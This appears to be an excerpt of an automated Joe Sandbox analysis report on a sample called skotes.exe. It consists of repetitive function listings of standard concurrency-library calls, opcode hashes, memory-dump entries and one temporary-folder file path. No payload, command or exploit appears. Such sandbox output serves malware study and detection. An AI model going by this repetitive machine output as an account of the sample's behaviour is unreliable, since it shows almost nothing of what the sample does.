                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ArrayList$DeleteHelperInternal
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3844194624-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2efc222242e3bb831ead6aa04550b63584417ec0c9c60da303f64f62b196a497
                                                                                                                                                                                                                                                                                    • Instruction ID: 81bf6f98737398c1eb660d555ccbe044422a36ccce7da32bf44b1f6ea5ea87b8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2efc222242e3bb831ead6aa04550b63584417ec0c9c60da303f64f62b196a497
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BB01F931700525BFCA257F60ECC2D6EB77ABF55710B10902AF40897611DF20EC6196D0
                                                                                                                                                                                                                                                                                    Function 001833C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001833DB
                                                                                                                                                                                                                                                                                    • Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001833EF
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00183407
                                                                                                                                                                                                                                                                                    • Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0018341F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 78362717-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
                                                                                                                                                                                                                                                                                    • Instruction ID: fa79fbc6720a14fecb3f721b7105c51229757ab01bc357111316345accc71848
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E001DB32700514A7CF16FE558841EAFB7AE9F54B50F140055FD25AB242DB71EF019BA0
                                                                                                                                                                                                                                                                                    Function 00179510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00179519
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00175486
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0017953D
                                                                                                                                                                                                                                                                                    • Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00179550
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00179559
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 218105897-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
                                                                                                                                                                                                                                                                                    • Instruction ID: b35cfa11f5db96567fa7e68c39fc41166ca1249dcdcc0179192360cedd4db50a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0EF0A070600A205FE662ABA88811F6A23E59F54711F00C41EE81F97682CF24EA4ACB81
                                                                                                                                                                                                                                                                                    Function 0016EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::critical_section::unlock.LIBCMT ref: 0016EFD1
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0016F989
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0016F9C0
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0016F9CC
                                                                                                                                                                                                                                                                                    • Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0016EFDD
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0016F433
                                                                                                                                                                                                                                                                                    • Concurrency::Context::Block.LIBCONCRT ref: 0016EFE2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00170366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00170368
                                                                                                                                                                                                                                                                                    • Concurrency::critical_section::lock.LIBCONCRT ref: 0016F002
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0016F8AC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0016F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0016F8B7
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 811866635-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 48847181626bd6e0dcfd1d1e633a4737a12011b3ac24039d79752a7109a2bb8c
                                                                                                                                                                                                                                                                                    • Instruction ID: 1918c2452182892db677e4e458550ac664018949e96171be503b8a1e903391e1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 48847181626bd6e0dcfd1d1e633a4737a12011b3ac24039d79752a7109a2bb8c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2AE0DF30A00200ABCB08FB20EC5126CBB71BF64320B00832DE465132E2CF346E57CB80
                                                                                                                                                                                                                                                                                    Function 0018DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0018DFE8
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
